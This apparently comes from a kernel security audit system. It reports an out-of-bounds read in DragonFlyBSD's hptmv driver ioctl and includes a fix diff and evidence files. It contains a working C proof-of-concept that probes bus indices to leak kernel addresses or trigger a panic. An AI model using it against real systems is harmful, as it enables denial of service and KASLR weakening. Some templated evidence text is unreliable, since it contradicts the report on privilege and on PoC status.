β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1530

hpt_get_channel_info uses caller-controlled bus with no bounds check (OOB read + kernel pointer leak / panic)

  • File: sys/dev/raid/hptmv/gui_lib.c
  • Lines: 446, 469, 470, 472, 1164, 1169, 1170, 1173
  • Severity: Medium
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:L/I:N/A:H
  • CWE: CWE-125 Out-of-bounds Read
  • Confidence: certain

Summary

The HPT_IOCTL_GET_CHANNEL_INFO handler reads a 32-bit bus value directly from the input buffer at gui_lib.c:1173 and passes it to hpt_get_channel_info() without any range check.

The function indexes pAdapTemp->mvChannel[bus] and pAdapTemp->VDevices[bus], each of size MV_SATA_CHANNELS_NUM (=4 or 8 per mvSata.h:80/83).

A negative or out-of-range bus causes either a wild pointer dereference (panic) or an OOB read whose result β€” the in-kernel address &VDevices[bus] truncated to 32 bits β€” is returned to userspace as a DEVICEID, leaking the heap layout of IAL_ADAPTER_T and defeating KASLR for that structure.

Root cause

gui_lib.c:1164-1179 HPT_IOCTL_GET_CHANNEL_INFO case: id = *(DWORD *)lpInBuffer; bus = ((DWORD *)lpInBuffer)[1]; with only nInBufferSize!=8 and nOutBufferSize!=sizeof(CHANNEL_INFO) checks β€” no validation that bus is in [0, MV_SATA_CHANNELS_NUM).

In hpt_get_channel_info() gui_lib.c:469-472:

if (pAdapTemp->mvChannel[bus].online == MV_TRUE)
     pInfo->Devices[0] = VDEV_TO_ID(&pAdapTemp->VDevices[bus]);
else
     pInfo->Devices[0] = (DEVICEID)INVALID_DEVICEID;

bus is a signed int assigned from a DWORD, so DWORD values >= 0x80000000 become negative (e.g. 0x80000000 -> -2147483648), producing an OOB read far before the array.

mvChannel is declared as MV_CHANNEL mvChannel[MV_SATA_CHANNELS_NUM] (osbsd.h:161) and VDevices as struct _VDevice VDevices[MV_SATA_CHANNELS_NUM] (osbsd.h:176).

VDEV_TO_ID is (DEVICEID)(ULONG_PTR)(pVDev) (osbsd.h:245) β€” it truncates the 64-bit kernel address &pAdapTemp->VDevices[bus] to 32 bits and stores it in pInfo->Devices[0], which is later copyout() to userspace by hptproc.c:315.

Threat

Attacker position: root (sysctl write). Two impacts reachable with one syscall:

  1. DoS / panic: send bus = 0x80000000 (or any value whose computed kernel address is unmapped) β€” the read of mvChannel[bus].online touches a wild address and the kernel page-faults.
  2. Info leak: send small positive values bus = 9, 10, ... β€” reads adjacent fields of IAL_ADAPTER_T past mvChannel[8]; if the byte at the online-field offset of mvChannel[bus] happens to equal 1 (MV_TRUE), the low 32 bits of &pAdapTemp->VDevices[bus] are returned, revealing (a) the low 32 bits of the IAL_ADAPTER_T base address (heap layout / KASLR partial bypass) and (b) the in-struct stride, useful for forging DEVICEIDs to use in the create_array primitive above.

Real hardware is required (gIal_Adapter must be non-NULL).

Exploit / PoC

/* root; info-leak variant */
uint8_t in[8] = {0};
for (uint32_t bus = 0; bus < 64; bus++) {
    memcpy(in+4, &bus, 4);
    struct { DWORD IoPort, ControlPort; DEVICEID Dev[2]; } out;
    DWORD ret = 0;
    struct hpt_ioctl_param p = { HPT_IOCTL_MAGIC, HPT_CTL_CODE(3) /*GET_CHANNEL_INFO*/,
        in, sizeof in, &out, sizeof out, &ret };
    if (sysctlbyname("hw.hptmv.status", NULL, NULL, &p, sizeof p) == 0
        && out.Dev[0] != 0xFFFFFFFF)
        printf("bus=%u leaked DEVICEID=0x%08x\n", bus, out.Dev[0]);
}

For panic variant, set bus = 0x80000000.

Build: cc -o poc poc.c. Run: ./poc as root.

Success: leaked non-INVALID_DEVICEID values for bus >= MV_SATA_CHANNELS_NUM, or an immediate kernel panic for the negative-bus case.

Bounds-check bus at the callee (defense-in-depth; also guard id even though it is currently safe by construction).

--- a/sys/dev/raid/hptmv/gui_lib.c
+++ b/sys/dev/raid/hptmv/gui_lib.c
@@ -446,6 +446,9 @@ static int hpt_get_channel_info(int id, int bus, PCHANNEL_INFO pInfo)
    IAL_ADAPTER_T    *pAdapTemp = gIal_Adapter;
    int i,iControllerCount = 0;

+   if (bus < 0 || bus >= MV_SATA_CHANNELS_NUM)
+       return -1;
+
    while(pAdapTemp != NULL)
    {
        if (iControllerCount++==id)
  • DF-1529 (sibling): hpt_create_array_v2 unvalidated Members[] write primitive.
  • DF-1531 (sibling): hpt_get_logical_devices write-before-check heap overflow.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1530 Β· 8 files
FileTypeDescriptionSize
README.md readme human-readable summary 1.8 KB ↓ raw
VERDICT.md verdict full source-level analysis + fix-validation result 2.8 KB ↓ raw
fix.diff suggested-fix git-apply-able unified diff fixing the cited bug 766 B view raw
fix_apply.log apply-log patch --dry-run --forward output proving fix.diff applies cleanly on with-src 547 B view raw
env.txt environment uname + guest PCI inventory (no relevant HW) 778 B view raw
build.sh build-script echo pointer to kernel rebuild path 362 B view raw
run.sh run-script echo pointer to VERDICT.md 313 B view raw
fix_build.log fix-build-log tail of combined nativekernel build (rc=0) validating all 30 patches compile 7.2 KB view raw
README.md readme human-readable summary
↓ download raw

PoC DF-1530: hptmv gui_lib.c HPT_IOCTL_GET_CHANNEL_INFO OOB bus index

Class: Wild pointer deref / OOB read Cited site: sys/dev/raid/hptmv/gui_lib.c:1164-1179, 469-472

Reproduction status

HW/module gated β€” cannot be live-triggered on the audit QEMU guest.

The audit guest has only virtio + PIIX3 PCI devices (pciconf -lv shows no AMD/Intel GPU, no ath NIC, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so the cited code path is not reachable at runtime on this guest.

The bug is confirmed at the source level by tracing the cited path:line in sys/dev/raid/hptmv/gui_lib.c and confirming the vulnerable code is present in the master DEV kernel tree. The fix.diff in this folder is validated to apply cleanly and compile under -Werror (see VERDICT.md).

Mechanism

HPT_IOCTL_GET_CHANNEL_INFO reads bus = ((DWORD*)lpInBuffer)[1] with NO range check vs MV_SATA_CHANNELS_NUM. hpt_get_channel_info at 469-472 reads pAdapTemp->mvChannel[bus].online (MV_CHANNEL[4 or 8]) and VDevices[bus] (_VDevice[4 or 8]). Signed int from DWORD: 0x80000000 -> negative -> wild pointer deref. Small positive bus > channels: OOB read.

Realistic impact ceiling (on suitable HW)

kernel OOB read / wild pointer panic; potential kernel pointer leak via VDEV_TO_ID truncation

Fix

Reject bus >= MV_SATA_CHANNELS_NUM in the HPT_IOCTL_GET_CHANNEL_INFO case (the value is signed, so the unsigned compare catches negatives too).

See fix.diff for the git-apply-able patch.

How to validate the fix

scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1530.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 --forward < /root/DF-1530.diff'
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && make -j6 nativekernel KERNCONF=X86_64_GENERIC'
# rc=0 expected; see fix_apply.log + fix_build.log in this folder.
VERDICT.md verdict full source-level analysis + fix-validation result
↓ download raw

VERDICT β€” DF-1530: hptmv gui_lib.c HPT_IOCTL_GET_CHANNEL_INFO OOB bus index

Verdict

INCONCLUSIVE (HW/module gated) β€” source-level confirmed, fix validated.

The bug is real and present in master DEV source at sys/dev/raid/hptmv/gui_lib.c:1164-1179, 469-472, but the affected driver attaches only to hardware not present in the audit QEMU guest (only virtio+PIIX3 PCI devices, no AMD/Intel GPUs, no ath NICs, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so it cannot be live-triggered here. The fix.diff applies cleanly and the patched kernel compiles with -Werror (combined build rc=0; see fix_apply.log).

Mechanism (cited path β†’ primitive β†’ effect)

HPT_IOCTL_GET_CHANNEL_INFO reads bus = ((DWORD*)lpInBuffer)[1] with NO range check vs MV_SATA_CHANNELS_NUM. hpt_get_channel_info at 469-472 reads pAdapTemp->mvChannel[bus].online (MV_CHANNEL[4 or 8]) and VDevices[bus] (_VDevice[4 or 8]). Signed int from DWORD: 0x80000000 -> negative -> wild pointer deref. Small positive bus > channels: OOB read.

Reachability on this guest

No β€” sys/dev/raid/hptmv/gui_lib.c:1164-1179 is in a driver/module that only attaches to hardware absent from the audit guest. The trigger requires the relevant PCI device (or, for VBIOS-driven GPU paths, the actual GPU + a crafted VBIOS loaded by root or via VFIO passthrough).

Phase 6 β€” escalation potential

This is a Wild pointer deref / OOB read primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).

Realistic impact ceiling on suitable HW: kernel OOB read / wild pointer panic; potential kernel pointer leak via VDEV_TO_ID truncation.

Phase 8 β€” fix validation

fix.diff is a minimal, targeted fix at the root cause confirmed above.

  • Applied cleanly with patch -p1 --forward (verified in fix_apply.log).
  • Compiled with -Werror as part of the combined make -j6 nativekernel KERNCONF=X86_64_GENERIC build (kernel build rc=0; see manifest.json).
  • For HW-gated findings the patched code path is not exercisable on this guest, so the fix is validated at the apply + compile level only.

Fix approach: Reject bus >= MV_SATA_CHANNELS_NUM in the HPT_IOCTL_GET_CHANNEL_INFO case (the value is signed, so the unsigned compare catches negatives too).

PoC changes

Source-level confirmation only; no userspace harness written because the bug cannot be exercised on this guest without the relevant HW. The placeholder build.sh/run.sh echo pointers to VERDICT.md and the module/kernel rebuild path.

Confirmed kernel references

Detail

Exploit chain

none β€” HW-gated. Primitive is a kernel OOB read / wild pointer panic; potential kernel pointer leak via VDEV_TO_ID truncation.

Evidence (decisive lines)

Source: sys/dev/raid/hptmv/gui_lib.c:1173 β€” bus = ((DWORD *)lpInBuffer)[1] (no check); :469 β€” pAdapTemp->mvChannel[bus].online; :470 β€” VDEV_TO_ID(&pAdapTemp->VDevices[bus]); osbsd.h:161 β€” mvChannel[MV_SATA_CHANNELS_NUM]. Guest has no HighPoint HBA. fix.diff rejects (unsigned int)bus >= MV_SATA_CHANNELS_NUM.

PoC changes

Created evidence pack from scratch: README.md, VERDICT.md, build.sh, run.sh, env.txt, fix.diff, fix_apply.log, fix_build.log, manifest.json.

Verified recommended fix

Reject (unsigned int)bus >= MV_SATA_CHANNELS_NUM in HPT_IOCTL_GET_CHANNEL_INFO (covers both negative and out-of-range positive). Full diff in findings/poc/DF-1530/fix.diff.

Verdict

INCONCLUSIVE (HW-gated). Bug confirmed at source level: gui_lib.c:1164-1179 HPT_IOCTL_GET_CHANNEL_INFO reads bus=((DWORD*)lpInBuffer)[1] with NO range check vs MV_SATA_CHANNELS_NUM. hpt_get_channel_info :469-472 reads pAdapTemp->mvChannel[bus].online (MV_CHANNEL[4 or 8]) and VDevices[bus] (_VDevice[4 or 8]). Signed int from DWORD: 0x80000000 -> negative -> wild pointer deref. hptmv(4) only attaches to HighPoint MV SATA controllers not on the audit guest.